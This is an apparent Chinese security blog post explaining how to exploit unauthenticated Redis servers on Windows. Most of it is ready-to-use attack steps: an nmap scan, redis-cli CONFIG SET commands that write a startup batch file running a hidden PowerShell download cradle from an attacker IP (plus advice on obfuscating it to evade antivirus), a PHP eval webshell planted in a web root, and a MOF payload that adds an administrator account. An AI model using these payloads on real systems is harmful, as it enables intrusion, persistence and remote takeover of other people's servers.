利用redis未授權訪問漏洞(windows版)

Dark1nt發表於2021-05-30

0x00 原理

  首先需要知道的是,redis是一種非關係型資料庫。它在預設情況下,繫結在0.0.0.0:6379 ,若不採取相關策略,比如新增防火牆限制非信任IP訪問,會使得redis服務暴露到公網,若未設定密碼認證,可導致任意使用者未授權訪問redis以及讀取redis資料。 攻擊者可利用redis自身提供的config命令進行寫檔案,可將自己的ssh公鑰寫入目標伺服器 /root/.ssh資料夾的authotrized_keys中,進而可用私鑰直接ssh登入目標伺服器。

0x01 漏洞點

  • redis繫結在 0.0.0.0:6379,且沒有進行新增防火牆規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網。
  • 沒有設定密碼認證(一般為空),可以免密碼遠端登入redis服務。

0x02 危害

  • 攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料.
  • 攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案.
  • 最嚴重的情況,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器
  • 直接遠控目標主機

0x03 漏洞poc

  假設192.168.242.134可能存在redis未授權訪問漏洞。

一般通過nmap指令碼進行掃描

  • nmap -p 6379 --script redis-info 192.168.242.134

    掃描後若發現主機6379埠對外開發,可認為是存在redis資料庫,如果碰巧還是預設配置為空口令,並且伺服器還開放在外網,可在另一臺裝了redis資料庫的vps中 使用 ./redis-cli -h 192.168.242.134 直接遠端連線。

檢視敏感資訊

  • redis 192.168.242.134:6379> info

0x04 漏洞exp

0x04.1 寫入啟動項

  Linux下一般可通過設定定時任務去獲取許可權,而現在我們討論的是windows下的利用。
windows啟動專案錄

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

cs上配置監聽

生成payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"

這裡注意要是公網IP,或者進行內網穿透,不然可能下載不成功。
如果存在殺軟,可嘗試對powershell程式碼進行程式碼混淆免殺。

連線redis後配置

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename 1.bat
+OK
set x “\r\n\r\npowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”\r\n\r\n”
+OK
save
+OK

簡單解釋一下,redis通過config set 在啟動項生成了1.bat 然後在檔案裡寫入了我們的powershell遠端下載shellcode執行,儲存。 只要電腦重啟,1.bat就會自動執行。

0x04.2 寫入webshell

  根據上面總結的規律,我們對redis未授權漏洞利用方式一般都是通過寫檔案,然後建立目標機與我們的連線,所以如果我們知道目標網站的絕對路徑的話,完全可以通過在網站某個目錄下寫入一句話木馬,然後用webshell管理工具連線。
連線上目標redis後

192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWW
OK
192.168.1.103:6379> CONFIG SET dbfilename shell.php
OK
192.168.1.103:6379> set x “php @eval($_POST['hack']) ?>”
OK
192.168.1.103:6379> save
OK

然後直接通過蟻劍進行連線即可。

0x04.3 mof提權

  mof是Windows系統的一個檔案,位於c:/windows/system32/wbem/mof/nullevt.mof
叫做託管物件格式。它的作用是每隔5秒,就會去監控程式的建立和死亡。mof提權的簡單利用過程就是,在該資料夾下寫入一個惡意的mof檔案,其中有一段是vbs指令碼,而這個vbs指令碼大多數是cmd的新增管理員使用者的命令。寫入完成之後這個檔案會被伺服器每隔5秒以system許可權進行執行。(這個預設5秒執行一次的設定只有03及以下系統才會有)

條件

  • win2003系統

mof 程式碼

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net user admin admin /add ")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

根據圖片進行格式化

將Mof程式碼儲存為ceshi.txt
生成一個shell.txt 將ceshi.txt中的內容寫入shell.txt

(echo -e "nn"; cat ceshi.txt; echo -e "nn") > shell.txt

連線redis後的payload

通過管道將開啟的shell.txt的讀取的資料傳到目標redis進行寫入

  • cat /root/shell.txt | ./redis-cli -h 192.168.1.104 -x set x
    然後在對目錄進行設定
  • CONFIG SET dir C:/windows/system32/wbem/mof/
  • CONFIG SET dbfilename shell.mof
  • save

參考圖配置

過大約5秒後就會自動執行mof指令碼,比起重啟和知道網站絕對路徑這2個條件,這個條件相對較容易實現。
執行指令碼後可發現在目標主機下生成了一個新使用者,我們直接遠端連線就好。

0x05 參考連結

相關文章